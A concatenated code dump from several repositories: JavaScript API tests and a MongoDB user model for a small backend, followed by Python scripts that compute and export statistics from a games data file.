'<EMAIL>', password: '<PASSWORD>', avatar: 'https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-973460_1280.png', role: 'user', }) .expect('status', 400) .then((response) => { const { body } = response; const result = JSON.parse(body); expect(result.message).toBe('"name" is required'); }); }); }); it('Será validado que o campo `email` é obrigatório', async () => { await frisby .post(`${url}/login`, { email: '<EMAIL>', password: '<PASSWORD>', }) .expect('status', 200) .then((response) => { const { body } = response; const result = JSON.parse(body); return frisby .setup({ request: { headers: { Authorization: result.token, 'Content-Type': 'application/json', }, }, }) .post(`${url}/users`, { name: 'User Name', password: '<PASSWORD>', avatar: 'https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-973460_1280.png', role: 'user', }) .expect('status', 400) .then((response) => { const { body } = response; const result = JSON.parse(body); expect(result.message).toBe('"email" is required'); }); }); }); it('Será validado que não é possível cadastrar usuário com o campo `email` inválido', async () => { await frisby .post(`${url}/login`, { email: '<EMAIL>', password: '<PASSWORD>', }) .expect('status', 200) .then((response) => { const { body } = response; const result = JSON.parse(body); return frisby .setup({ request: { headers: { Authorization: result.token, 'Content-Type': 'application/json', }, }, }) .post(`${url}/users/`, { name: 'User Name', email: 'username', password: '<PASSWORD>', avatar: 'https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-973460_1280.png', role: 'user', }) .expect('status', 400) .then((response) => { const { body } = response; const result = JSON.parse(body); expect(result.message).toBe('"email" must be a valid email'); }); }); }); it('Será validado que o campo `senha` é obrigatório', async () => { await frisby .post(`${url}/login`, { email: '<EMAIL>', password: '<PASSWORD>', }) .expect('status', 200) .then((response) => { const { body } = response; const result = JSON.parse(body); return frisby .setup({ request: { headers: { Authorization: result.token, 'Content-Type': 'application/json', }, }, }) .post(`${url}/users/`, { name: '<NAME>', email: '<EMAIL>', avatar: 'https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-973460_1280.png', role: 'user', }) .expect('status', 400) .then((response) => { const { body } = response; const result = JSON.parse(body); expect(result.message).toBe('"password" is required'); }); }); }); it('Será validado que o campo `role` é obrigatório', async () => { await frisby .post(`${url}/login`, { email: '<EMAIL>', password: '<PASSWORD>', }) .expect('status', 200) .then((response) => { const { body } = response; const result = JSON.parse(body); return frisby .setup({ request: { headers: { Authorization: result.token, 'Content-Type': 'application/json', }, }, }) .post(`${url}/users/`, { name: '<NAME>', email: '<EMAIL>', password: '<PASSWORD>', avatar: 'https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-973460_1280.png', }) .expect('status', 400) .then((response) => { const { body } = response; const result = JSON.parse(body); expect(result.message).toBe('"role" is required'); }); }); }); it('Será validado que o campo `email` é único', async () => { await frisby .post(`${url}/login`, { email: '<EMAIL>', password: '<PASSWORD>', }) .expect('status', 200) .then((response) => { const { body } = response; const result = JSON.parse(body); return frisby .setup({ request: { headers: { Authorization: result.token, 'Content-Type': 'application/json', }, }, }) .post(`${url}/users/`, { name: '<NAME>', email: '<EMAIL>', password: '<PASSWORD>', avatar: 'https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-973460_1280.png', role: 'user', }) .expect('status', 201) }) await frisby .post(`${url}/login`, { email: '<EMAIL>', password: '<PASSWORD>', }) .expect('status', 200) .then((response) => { const { body } = response; const result = JSON.parse(body); return frisby .setup({ request: { headers: { Authorization: result.token, 'Content-Type': 'application/json', }, }, }) .post(`${url}/users/`, { name: '<NAME>', email: '<EMAIL>', password: '<PASSWORD>', avatar: 'https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-973460_1280.png', role: 'user', }) .expect('status', 409) .then((response) => { const { body } = response; const result = JSON.parse(body); expect(result.message).toBe('Email already registered'); }); }); }); it('Será validado que não é possível cadastrar um usuário com token inválido', async () => { await frisby .setup({ request: { headers: { Authorization: '12346', 'Content-Type': 'application/json', }, }, }) .post(`${url}/users/`, { name: '<NAME>', email: '<EMAIL>', password: '<PASSWORD>', avatar: 'https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-973460_1280.png', role: 'user', }) .expect('status', 401) .then((responseLogin) => { const { json } = responseLogin; expect(json.message).toBe('jwt malformed') }); }); it('Será validado que só é possível cadastrar usuário se for admin', async () => { await frisby .post(`${url}/login`, { email: '<EMAIL>', password: '<PASSWORD>', }) .expect('status', 200) .then((response) => { const { body } = response; const result = JSON.parse(body); return frisby .setup({ request: { headers: { Authorization: result.token, 'Content-Type': 'application/json', }, }, }) .post(`${url}/users/`, { name: '<NAME>', email: '<EMAIL>', password: '<PASSWORD>', avatar: 'https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-973460_1280.png', role: 'user', }) .expect('status', 201); }); }); it('Será validado que é possível cadastrar usuário com sucesso', async () => { await frisby .post(`${url}/login`, { email: '<EMAIL>', password: '<PASSWORD>', }) .expect('status', 200) .then((response) => { const { body } = response; const result = JSON.parse(body); return frisby .setup({ request: { headers: { Authorization: result.token, 'Content-Type': 'application/json', }, }, }) .post(`${url}/users/`, { name: '<NAME>', email: '<EMAIL>', password: '<PASSWORD>', avatar: 'https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-973460_1280.png', role: 'user', }) .expect('status', 201) .then((response) => { const { body } = response; const result = JSON.parse(body); expect(result.message).toBe('User created successfully'); }); }); }); }); <file_sep>/src/models/userModel.js const { ObjectID } = require('bson'); const connect = require('./connection'); const createUser = async ({ name, email, password, avatar, role }) => { const db = await connect(); const findUser = await db.collection('users').findOne({ email }); if (findUser) return { statusCode: 409, message: 'Email already registered' }; await db.collection('users').insertOne({ name, email, password, avatar, role }); return { statusCode: 201, message: 'User created successfully' }; }; const getAllUsers = async () => { const db = await connect(); const users = await db.collection('users').find({}, { password: 0 } ).toArray(); users.forEach((user) => delete user.password) return { statusCode: 200, users }; }; const getUserById = async (id) => { if (!ObjectID.isValid(id)) return { statusCode: 404, user: null }; const db = await connect(); const user = await db.collection('users').findOne({ _id: ObjectID(id) }); delete(user.password); return { statusCode: 200, user }; } const updateUser = async (userDetails) => { const { id, name, email, password, avatar, role } = userDetails; if (!ObjectID.isValid(id)) return { statusCode: 404, user: null }; const db = await connect(); const findUser = await db.collection('users').findOne({ email }); if (findUser) { const userIdDb = String(findUser._id); const userIdParam = String(ObjectID(id)); if (userIdDb !== userIdParam) { return { statusCode: 409, user: 'Email already registered' }; } } await db.collection('users') .updateOne({ _id: ObjectID(id) }, { $set: { name, email, avatar, role } }); if (password) { await db.collection('users').updateOne({ _id: ObjectID(id)}, { $set: { password } }); } user = { id, name, email, avatar, role }; return { statusCode: 200, user }; } const removeUser = async (id) => { if (!ObjectID(id)) return { statusCode: 404, task: null }; const db = await connect(); await db.collection('users').deleteOne({ _id: ObjectID(id) }); return { statusCode: 204 }; } const userLogin = async ({ email, password }) => { const db = await connect(); const findUser = await db.collection('users').findOne({ email }); if (!findUser) return { statusCode: 400, message: 'User does not exist' }; if (findUser.password !== password) return { statusCode: 400, message: 'Wrong email or password' }; return { statusCode: 200, message: 'Login successfully', findUser }; }; const verifyEmail = async (email) => { const db = await connect(); const userData = await db.collection('users').findOne({ email }); return userData; }; module.exports = { createUser, userLogin, verifyEmail, getAllUsers, getUserById, updateUser, removeUser, };
c11b01c0b84aa373311d6719f31c0b992a51f0ef
[ "JavaScript", "Markdown" ]
9
JavaScript
rafaelgeronimo/today-backend
f5dbf271c82749010e30cec34808953323b27905
106731ee4bf55adca3fa51f7348891df50b7c8dd
refs/heads/master
<file_sep>library(testthat) library(ssid) test_check("ssid") <file_sep>#' search_module UI Function #' #' @description A shiny Module. #' #' @param id,input,output,session Internal parameters for {shiny}. #' #' @noRd #' #' @importFrom shiny NS tagList mod_search_module_ui <- function(id){ ns <- NS(id) tagList( fluidPage( titlePanel('strain info'), sidebarLayout( sidebarPanel( textInput('id', 'id of strains:', value = '') ), mainPanel( DT::DTOutput('strain_info') ) ) ) ) } #' search_module Server Function #' #' @noRd mod_search_module_server <- function(input, output, session){ ns <- session$ns strain_id <- reactive({as.numeric(as.vector(sapply(strsplit(input$id, split = '\\s', perl = TRUE), function(x){x[!x=='']})))}) strain_db <- read.table('data/strainInfo.tsv', sep = '\t', quote = '', as.is = TRUE) print(strain_db) output$strain_info <- DT::renderDataTable({ strain_db[strain_db$ID %in% strain_id, ] }) } ## To be copied in the UI # ## To be copied in the server #
020c6abd88db87ede679beec8bea39b597eb848f
[ "R" ]
2
R
JingjieSong/ssid
fd7924d16554bf03ebc973cd38ac3ab1efff3b1e
f96e959a0c1298ee6c467a81ce74c6f14ec988f6
refs/heads/master
<repo_name>PabloPestana/CalculaAposentadoria<file_sep>/MainActivity.kt package com.livrokotlin.pablopestana.calculoaposentadoria import android.os.Build import android.os.Bundle import android.support.annotation.RequiresApi import android.support.v7.app.AppCompatActivity import android.widget.* class MainActivity : AppCompatActivity() { @RequiresApi(Build.VERSION_CODES.M) override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) //acessando o elemento spinner (dropdown) val spn_sexo = findViewById<Spinner>(R.id.spn_sexo) //acessando o editText com a idade digitada val txt_idade = findViewById<EditText>(R.id.txt_idade) //acessando o botão calcular val btn_calcular = findViewById<Button>(R.id.btn_calcular) //acessando o texto de resultado val txt_resultado = findViewById<TextView>(R.id.txt_resultado) spn_sexo.adapter = ArrayAdapter<String>(this, android.R.layout.simple_spinner_dropdown_item, listOf("Masculino","Feminino")) btn_calcular.setOnClickListener{ //Aqui vai o código que será executado quando houver um click no botão val sexo_selecionado = spn_sexo.selectedItem as String //captura a idade digitada e transforma em inteiro val idade_digitada = txt_idade.text.toString().toInt() var resultado : Int = 0 if(sexo_selecionado == "Masculino"){ //calculo para homem resultado = 65 - idade_digitada }else{ //calculo para mulher resultado = 60 - idade_digitada } if(resultado < 0){ resultado = resultado * (-1) txt_resultado.setText("Você já deveria estar aposentado há $resultado anos!") }else{ txt_resultado.setText("Faltam $resultado anos para sua aposentadoria!") } } } }
249111e40e837c34f73e0a1fae3b62282fe0fc27
[ "Kotlin" ]
1
Kotlin
PabloPestana/CalculaAposentadoria
53d5a3f65cbee223334dc8d79229b95037a9f764
c8c6e6cf572090d72c5eadabc60d5612bafa08f9
refs/heads/master
<file_sep>require 'securerandom' require 'json' require 'digest/md5' require 'htph' require 'fileutils' module Source @@jdbc = HTPH::Hathijdbc::Jdbc.new() @@conn = @@jdbc.get_conn() @@add_rec = "INSERT INTO source_refs ( id, file_path, line_number ) VALUES(?, ?, ?)" @@base_path = '/htdata/govdocs/source_records/' def self.get_path uuid uuid[0..3].split(//).join('/') end def self.add_md5 rec #if it already has one, we only want to hash everything else rec = rec.tap{|x| x.delete(:md5_hash)} rec[:md5_hash] = Digest::MD5.hexdigest(rec.to_s) return rec end def self.save_source_reference id, file_name, line_number #add the new id to the database so we can track @@conn.prepared_update(@@add_rec, [id, file_name, line_number]) rescue @@conn = @@jdbc.get_conn() retry end def self.put_rec rec path = @@base_path + (self.get_path rec[:id]) #create the dir and subs unless File.directory?(path) FileUtils.mkdir_p(path) end File.open(path+'/'+rec[:id]+'.json', "w"){ |fout| fout.puts rec.to_json } end end if __FILE__ == $0 @@count = 0 @@start = Time.now open(ARGV.shift, 'r').each do | file_path | file_path.chomp! open(file_path, 'r').each_with_index do | line, line_number | rec = JSON.parse line rec[:id] = SecureRandom.uuid rec = Source.add_md5 rec begin Source.put_rec rec Source.save_source_reference rec[:id], file_path, line_number @@count += 1 end end puts @@count puts file_path puts "duration: "+(Time.now - @@start).to_s end end #line = File.open('/htdata/govdocs/MARC/extracted_json_fixed/arizona20140207.ndj', &:readline) #puts line #puts Digest::MD5.hexdigest(line) #rec = JSON.parse line #rec[:id] = id #puts Digest::MD5.hexdigest(rec.to_s) #rec[:md5_hash] = Digest::MD5.hexdigest(rec.to_s) #puts rec #recless = rec.clone.tap{|x| x.delete(:md5_hash)} #puts rec.to_json #puts recless.to_json #puts Digest::MD5.hexdigest(recless.to_s) <file_sep>use ht_repository; /* drop table if exists source_refs; */ CREATE TABLE source_refs ( id CHAR(36) NOT NULL, file_path VARCHAR(255) NOT NULL, line_number INT NOT NULL, primary key (id) ); <file_sep>source 'https://rubygems.org'; gem 'htph', :git => 'https://github.com/HTGovdocs/HTPH-rubygem.git';
8898e2698b9a2d51f2a8cc1f88cd918a46378212
[ "SQL", "Ruby" ]
3
Ruby
HTGovdocs/source
46b6d2e81b08ce1a82b40271c261abbcdfa11f4f
cf63fa9bfa50738f17d4b82f77b48adf8be08845
refs/heads/master
<repo_name>som2508/gcprepo<file_sep>/index.php <?php echo "This Webserver is deployed using the index page from github"; echo "This is uploaded from client......"; phpinfo(); ?>
1aabd97f23d5f3db7fdf8f23df5488f42682257b
[ "PHP" ]
1
PHP
som2508/gcprepo
b8a7d6d1a07b75b0b11c8abec3ed2846f50776aa
a681220913934ded5e8bfa054886f6c59d939045
refs/heads/master
<file_sep>class Board def initialize @board = Array.new(3) { Array.new(3, " ") } end def printInstructions puts "1 | 2 | 3", "---------", "4 | 5 | 6", "---------", "7 | 8 | 9" print "\n" end def printBoard (0..2).each do |row| print " " (0..2).each do |col| print @board[row][col] print " | " unless col == 2 end print "\n" print " ---------\n" unless row == 2 end print "\n" end end
531bd0850e21c776a5e5e4827363aa041a0618e9
[ "Ruby" ]
1
Ruby
sakbar55/tictactoe
20b3659cfb8967fb112e54ba4ceb1f32287c131f
7f418481dc31ffec7c7c47f8246a3cf7ca951f61
refs/heads/master
<repo_name>sdeniskos/FastIterativePca<file_sep>/FastIterativePca/FastIterativePca.cpp // FastIterativePca.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include <vector> #include <boost/array.hpp> #include <assert.h> #include <iostream> //you need boost to compile #include <boost/random.hpp> #include <boost/random/normal_distribution.hpp> #include <boost/shared_ptr.hpp> #pragma region ServiceFunctions template<typename Collection> __inline void normalizeL2(Collection& collection) { typedef typename Collection::value_type value_type; value_type summ = std::accumulate(collection.begin(), collection.end(), (value_type)0, [](value_type & a, value_type b)->value_type{a = a + sqr(b); return a; }); summ = sqrt(summ); if (summ < std::numeric_limits<value_type>::epsilon()) return; std::for_each(collection.begin(), collection.end(), [summ](value_type& val) { val /= summ; }); } template<typename OutArg, typename VecIn1, typename VecIn2> __inline OutArg dotProduct(const VecIn1& a, const VecIn2& b) { OutArg prod = 0; for (int i = 0; i < (int)a.size(); i++) { prod += static_cast<OutArg>(a[i]) * static_cast<OutArg>(b[i]); } return prod; } template<typename Type> __inline Type sqr(Type t) { return t * t; } double selectRandom(double a, double b, int range) { return a + (b - a) *(rand() % range) / (range - 1); } struct NormalRandomGenerator { public: typedef boost::normal_distribution<double> NormalDistribution; typedef boost::variate_generator<boost::mt19937&, NormalDistribution > VarGen; typedef boost::shared_ptr<VarGen> VarGenPtr; public: NormalRandomGenerator() : m_normalDist(0.0, 1.0) { m_varNor.reset(new VarGen(m_rng, m_normalDist)); } void setParams(double middle, double sigma) { m_normalDist = boost::normal_distribution<double>(middle, sigma); m_varNor.reset(new VarGen(m_rng, m_normalDist)); } double generate() { return (*m_varNor)(); } private: NormalDistribution m_normalDist; VarGenPtr m_varNor; boost::mt19937 m_rng; }; #pragma endregion ServiceFunctions template<int dim> struct FastIterativePcaSelector { typedef boost::array<float, dim> Element; typedef std::vector<Element> Elements; typedef std::vector<float> Weights; Element getFirstPC(const Elements& elements, const Weights& weights, int numIterations, const Elements& prevBazis) { //sds we maximze projections on space with size 2 std::vector<Element> currentVecs(2); for (int i1 = 0; i1 < 2; i1++) { if (i1 == 0) currentVecs[i1] = selectRandomVec(prevBazis); else { currentVecs[i1] = getRandomOrthogonalVec(currentVecs[0], prevBazis); } } double bestSigma = 0; for (int i1 = 0; i1 < numIterations; i1++) { Element currentApproximation = getApproximation(currentVecs.data(), elements, weights); Element newVec = getRandomOrthogonalVec(currentApproximation, prevBazis); currentVecs[0] = currentApproximation; currentVecs[1] = newVec; double sigma = calcSigma(elements, weights, currentApproximation); //stop criterion -- stabilization if (abs(sigma - bestSigma) < sigma * 0.00000001) break; std::cout << "num component " << prevBazis.size() << " " << "current sigma " << sigma << std::endl; } return currentVecs[0]; } static double calcSigma(const Elements& elements, const Weights& weights, const Element& element) { double sigma = 0; for (int i1 = 0; i1 < (int)elements.size(); i1++) { sigma += sqr(dotProduct<float>(elements[i1], element))* weights[i1]; } return sigma; } private: static Element selectRandomVec(const Elements& prevBazis) { //select random vector, orthogonal to previous got bazis Element result; float dp = 0; //try new vector until it has some orthogonal part to previous bazis do { for (int i1 = 0; i1 < (int)result.size(); i1++) { result[i1] = (float)selectRandom(-1.0f, 1.0f, 1000); } for (int i1 = 0; i1 < (int)prevBazis.size(); i1++) { float dp = dotProduct<float>(result, prevBazis[i1]); for (int i2 = 0; i2 < (int)result.size(); i2++) { result[i2] = result[i2] - prevBazis[i1][i2] * dp; } } normalizeL2(result); dp = dotProduct<float>(result, result); } while (dp < 0.99); return result; } static Element getRandomOrthogonalVec(const Element& vec, const Elements& prevBazis) { Element result; float dp = 0; //try new vector until it has some orthogonal part to previous part and current best vector (vec) do { result = selectRandomVec(prevBazis); dp = dotProduct<float>(result, vec); for (int i1 = 0; i1 < (int)result.size(); i1++) { result[i1] = result[i1] - vec[i1] * dp; } normalizeL2(result); dp = dotProduct<float>(result, result); } while (dp < 0.5f); return result; } Element getApproximation(const Element* approximationStack, const Elements& elements, const Weights& weights) { /* Maximize decomposition to R2 space spanned on two vectors . 2 Plum -- you could use int D(w) * H(w) dw instead */ //fill covariation matrix double matrix[4] = { 0., 0., 0., 0. }; for (int i0 = 0; i0 < (int)weights.size(); i0++) { float dps[2] = { dotProduct<float>(approximationStack[0], elements[i0]), dotProduct<float>(approximationStack[1], elements[i0]) }; for (int i1 = 0; i1 < 2; i1++) { for (int i2 = 0; i2 < 2; i2++) { matrix[i1 * 2 + i2] += dps[i1] * dps[i2] * weights[i0]; } } } //calc eigen vectors/values double offset = (matrix[0] + matrix[3]); double d = std::max(sqr(matrix[0] - matrix[3]) + 4 * (matrix[1] * matrix[2]), 0.); d = sqrt(d); double eV = offset < 0 ? offset / 2.0 - d / 2.0 : offset / 2.0 + d / 2.0; float coeffs[2]; if (abs(matrix[0] - eV) > abs(matrix[3] - eV)) { coeffs[0] = static_cast<float>(matrix[1] / (matrix[0] - eV)); coeffs[1] = -1.f; } else { coeffs[0] = -1.f; coeffs[1] = static_cast<float>(matrix[2] / (matrix[3] - eV)); } //make decomposition Element result; for (int i1 = 0; i1 < (int)approximationStack[0].size(); i1++) { result[i1] = approximationStack[0][i1] * coeffs[0] + approximationStack[1][i1] * coeffs[1]; } normalizeL2(result); return result; } }; //test function shows, how to use struct FastIterativePcaSelectorTest { static const int numDimensions = 10000; typedef FastIterativePcaSelector<numDimensions> FiPC; typedef FiPC::Element Element; typedef FiPC::Elements Elements; void test() { std::vector<double> sigmas(numDimensions); std::vector<boost::shared_ptr<NormalRandomGenerator> > normalDistributions(numDimensions); //generate some random distribution for (int i1 = 0; i1 < (int)sigmas.size(); i1++) { sigmas[i1] = 0.2 + (rand() & 0xff)*(200.0 - 0.2) / 255.0; normalDistributions[i1].reset(new NormalRandomGenerator()); normalDistributions[i1]->setParams(0, sigmas[i1]); } int maxElt = std::max_element(sigmas.begin(), sigmas.end()) - sigmas.begin(); int numElements = 200; std::vector<Element> elements(numElements); //assign all weights to 1 std::vector<float> weights(numElements); for (int i1 = 0; i1 < (int)elements.size(); i1++) { for (int i2 = 0; i2 < numDimensions; i2++) { elements[i1][i2] = (float)normalDistributions[i2]->generate(); } weights[i1] = 1.0; } //calc reference sigma along main axis Element bestElt; std::fill(bestElt.begin(), bestElt.end(), 0.f); bestElt[maxElt] = 1.0; double bestSigma = FiPC().calcSigma(elements, weights, bestElt); std::cout << bestSigma << std::endl; Elements bazis; Element middle; std::fill(middle.begin(), middle.end(), 1.0f); normalizeL2(middle); //insert middle in bazis, to maximize only zero mean vectors bazis.push_back(middle); static const int numComponents = 10; boost::shared_ptr<FiPC> fipcPtr(new FiPC()); { for (int i1 = 0; i1 < numComponents; i1++) { Element comp = fipcPtr->getFirstPC(elements, weights, numDimensions, bazis); bazis.push_back(comp); } int j = 0; } } private: }; int _tmain(int argc, _TCHAR* argv[]) { FastIterativePcaSelectorTest().test(); return 0; }
a768a061e767734e5a67398ebe802351058d8e0d
[ "C++" ]
1
C++
sdeniskos/FastIterativePca
891c287bef9dbf32a49d0ddbf3062a46ed9dd106
a3ff642a9ec74cc7c649c09c3e28219a24af5856
refs/heads/master
<repo_name>mcjczapiewski/game_statistics<file_sep>/export.py import reports with open( __file__.split("export.py")[0] + "export_report.txt", "r" ) as export_report: for line in export_report: year, genre, title, file_name = line.split("___") with open( __file__.split("export.py")[0] + "export_report.txt", "w" ) as export_report: export_report.write(str(reports.count_games(file_name)) + "\n") export_report.write(str(reports.decide(file_name, year)) + "\n") export_report.write(str(reports.get_latest(file_name)) + "\n") export_report.write(str(reports.count_by_genre(file_name, genre)) + "\n") export_report.write( str(reports.get_line_number_by_title(file_name, title)) + "\n" ) export_report.write(str(reports.sort_abc(file_name)) + "\n") export_report.write(str(reports.get_genres(file_name)) + "\n") export_report.write(str(reports.when_was_top_sold_fps(file_name)) + "\n") <file_sep>/reports.py def count_games(file_name): """How many games are in the file?""" number_of_games = 0 with open(file_name, "r", encoding="utf-8") as games_data: for line in games_data: if line != "": number_of_games += 1 return number_of_games def decide(file_name, year): """Is there a game from a given year?""" with open(file_name, "r", encoding="utf-8") as games_data: for line in games_data: if line != "": game_year = int(line.split("\t")[2]) if game_year == int(year): return True return False def get_latest(file_name): """Which was the latest game?""" latest_year = 0 GAME_TITLE = 0 with open(file_name, "r", encoding="utf-8") as games_data: for line in games_data: if line != "": game_year = int(line.split("\t")[2]) if game_year > latest_year: latest_year = game_year games_data.seek(0) for line in games_data: if "\t" + str(latest_year) + "\t" in line: return line.split("\t")[GAME_TITLE] def count_by_genre(file_name, genre): """How many games do we have by genre?""" number_by_genre = 0 with open(file_name, "r", encoding="utf-8") as games_data: for line in games_data: if line != "": game_genre = line.split("\t")[3] if game_genre == genre: number_by_genre += 1 return number_by_genre def get_line_number_by_title(file_name, title): """What is the line number of the given game (by title)?""" with open(file_name, "r", encoding="utf-8") as games_data: for number, line in enumerate(games_data, 1): if title in line: return number raise ValueError def sort_abc(file_name): """What is the alphabetical ordered list of the titles?""" list_of_games = [] GAME_TITLE = 0 with open(file_name, "r", encoding="utf-8") as games_data: for line in games_data: list_of_games.append(line.split("\t")[GAME_TITLE]) while any( list_of_games[i] < list_of_games[i - 1] for i in range(1, len(list_of_games)) ): for i in range(1, len(list_of_games)): if list_of_games[i] < list_of_games[i - 1]: list_of_games[i], list_of_games[i - 1] = ( list_of_games[i - 1], list_of_games[i], ) return list_of_games def get_genres(file_name): """What are the genres?""" genres = [] with open(file_name, "r", encoding="utf-8") as games_data: for line in games_data: game_genre = line.split("\t")[3] if game_genre not in genres: genres.append(game_genre) return sorted(genres) def when_was_top_sold_fps(file_name): """What is the release date of the top sold "First-person shooter" game?""" top_fps_sold = 0.0 top_fps_year = 0 with open(file_name, "r", encoding="utf-8") as games_data: for line in games_data: if "First-person shooter" in line: total_sold = float(line.split("\t")[1]) if total_sold > top_fps_sold: top_fps_sold = total_sold top_fps_year = int(line.split("\t")[2]) if top_fps_year != 0: return top_fps_year raise ValueError <file_sep>/part2/reports.py def get_most_played(file_name): """What is the title of the most played game (i.e. sold the most copies)?""" most_copies = 0.0 GAME_TITLE, COPIES_PER_GAME = 0, 1 with open(file_name, "r", encoding="utf-8") as games_data: for line in games_data: if line != "": game_copies = float(line.split("\t")[COPIES_PER_GAME]) if game_copies > most_copies: most_copies = game_copies games_data.seek(0) if str(most_copies).endswith(".0"): most_copies = int(most_copies) for line in games_data: if "\t" + str(most_copies) + "\t" in line: return line.split("\t")[GAME_TITLE] def sum_sold(file_name): """How many copies have been sold total?""" total_copies = 0.0 COPIES_PER_GAME = 1 with open(file_name, "r", encoding="utf-8") as games_data: for line in games_data: if line != "": total_copies += float(line.split("\t")[COPIES_PER_GAME]) return total_copies def get_selling_avg(file_name): """What is the average selling?""" total_copies = 0.0 number_of_games = 0 COPIES_PER_GAME = 1 with open(file_name, "r", encoding="utf-8") as games_data: for line in games_data: if line != "": number_of_games += 1 total_copies += float(line.split("\t")[COPIES_PER_GAME]) return total_copies / number_of_games def count_longest_title(file_name): """How many characters long is the longest title?""" longest_title = 0 GAME_TITLE = 0 with open(file_name, "r", encoding="utf-8") as games_data: for line in games_data: if line != "": this_title_length = sum( 1 for letter in line.split("\t")[GAME_TITLE] ) if this_title_length > longest_title: longest_title = this_title_length return longest_title def get_date_avg(file_name): """What is the average of the release dates?""" total_copies = 0 number_of_games = 0 COPIES_PER_GAME = 2 with open(file_name, "r", encoding="utf-8") as games_data: for line in games_data: if line != "": number_of_games += 1 total_copies += int(line.split("\t")[COPIES_PER_GAME]) return round(total_copies / number_of_games) def get_game(file_name, title): """What properties has a game?""" with open(file_name, "r", encoding="utf-8") as games_data: for line in games_data: if line != "": if title in line: a, b, c, d, e = line.split("\t") return [a, float(b), int(c), d, e.split("\n")[0]] def count_grouped_by_genre(file_name): """How many games are there grouped by genre?""" genres = {} with open(file_name, "r", encoding="utf-8") as games_data: for line in games_data: game_genre = line.split("\t")[3] if game_genre not in genres: genres[game_genre] = 1 else: temp = genres[game_genre] temp += 1 genres[game_genre] = temp return genres def get_date_ordered(file_name): """What is the date ordered list of the games?""" list_of_games = [] GAME_DATE, GAME_TITLE = 2, 0 with open(file_name, "r", encoding="utf-8") as games_data: for line in games_data: list_of_games.append( line.split("\t")[GAME_DATE] + "_" + line.split("\t")[GAME_TITLE] ) while any( list_of_games[i] > list_of_games[i - 1] for i in range(1, len(list_of_games)) ): for i in range(1, len(list_of_games)): if list_of_games[i] > list_of_games[i - 1]: list_of_games[i], list_of_games[i - 1] = ( list_of_games[i - 1], list_of_games[i], ) GAME_DATE, GAME_TITLE = 0, 1 while any( list_of_games[i].split("_")[GAME_DATE] == list_of_games[i - 1].split("_")[GAME_DATE] and list_of_games[i].split("_")[GAME_TITLE] < list_of_games[i - 1].split("_")[GAME_TITLE] for i in range(1, len(list_of_games)) ): for i in range(1, len(list_of_games)): if ( list_of_games[i].split("_")[GAME_DATE] == list_of_games[i - 1].split("_")[GAME_DATE] and list_of_games[i].split("_")[GAME_TITLE] < list_of_games[i - 1].split("_")[GAME_TITLE] ): list_of_games[i], list_of_games[i - 1] = ( list_of_games[i - 1], list_of_games[i], ) new_list = [] for item in list_of_games: new_list.append(item.split("_")[GAME_TITLE]) return new_list <file_sep>/part2/printing.py import reports file_name = input( "\nWhat's the name of a file with games data?\n\ Write it with it's extension, eg. game_stat.txt\n\ : " ) file_name = __file__.split("printing.py")[0] + file_name print(reports.get_most_played(file_name) + " is the most played game.") print("Total number of all copies sold is " + str(reports.sum_sold(file_name))) print("The average of selling is " + str(reports.get_selling_avg(file_name))) print( "The longes title has " + str(reports.count_longest_title(file_name)) + " characters" ) print("The average release date is " + str(reports.get_date_avg(file_name))) title = input("For what title would you like to know the game properties?\n: ") print(" Game properties: " + str(reports.get_game(file_name, title))) print("\nThese are the genres with number of games:") for genre, number_of_games in reports.count_grouped_by_genre( file_name ).items(): print(genre + ": " + str(number_of_games)) print( "\nThe date ordered list of games\n\ (from the newest to the oldest) looks like this:" ) for item in reports.get_date_ordered(file_name): print(item) with open( __file__.split("printing.py")[0] + "export_report.txt", "w" ) as write_out: write_out.write(title + "___" + file_name) <file_sep>/part2/export.py import reports with open( __file__.split("export.py")[0] + "export_report.txt", "r" ) as export_report: for line in export_report: title, file_name = line.split("___") with open( __file__.split("export.py")[0] + "export_report.txt", "w" ) as export_report: export_report.write(str(reports.get_most_played(file_name)) + "\n") export_report.write(str(reports.sum_sold(file_name)) + "\n") export_report.write(str(reports.get_selling_avg(file_name)) + "\n") export_report.write(str(reports.count_longest_title(file_name)) + "\n") export_report.write(str(reports.get_date_avg(file_name)) + "\n") export_report.write(str(reports.get_game(file_name, title)) + "\n") export_report.write(str(reports.count_grouped_by_genre(file_name)) + "\n") export_report.write(str(reports.get_date_ordered(file_name)) + "\n") <file_sep>/printing.py import reports file_name = input( "\nWhat's the name of a file with games data?\n\ Write it with it's extension, eg. game_stat.txt\n\ : " ) file_name = __file__.split("printing.py")[0] + file_name print( "\nThere are " + str(reports.count_games(file_name)) + " games in the file." ) year = input( "What is the year you would like to check if any \ game was released?\n: " ) print( " The statenemt that there was a game released in year " + str(year) + " is " + str(reports.decide(file_name, year)) ) print("The latest game title is " + str(reports.get_latest(file_name))) genre = input("From which genre would you like to count games?\n: ") print( " There are " + str(reports.count_by_genre(file_name, genre)), genre + " games.", ) title = input("For what title would you like to know the line number?\n: ") print( " This game is in line number " + str(reports.get_line_number_by_title(file_name, title)) ) print("\nThis is your list in alphabetical order:") for item in reports.sort_abc(file_name): print(item) print("\nThese are the genres contained in the file:") for item in reports.get_genres(file_name): print(item) print( "\nTop sold FPS was released in " + str(reports.when_was_top_sold_fps(file_name)) ) with open( __file__.split("printing.py")[0] + "export_report.txt", "w" ) as write_out: write_out.write( str(year) + "___" + genre + "___" + title + "___" + file_name )
588795c7fb8b2736eb3ae3de3bd00f9a555ff4e4
[ "Python" ]
6
Python
mcjczapiewski/game_statistics
96b92f31fdb1b64ab2d0333b04a97c2ebf3b549b
1c626f1af43b34ab92a2c6da8428836592eb6405
refs/heads/master
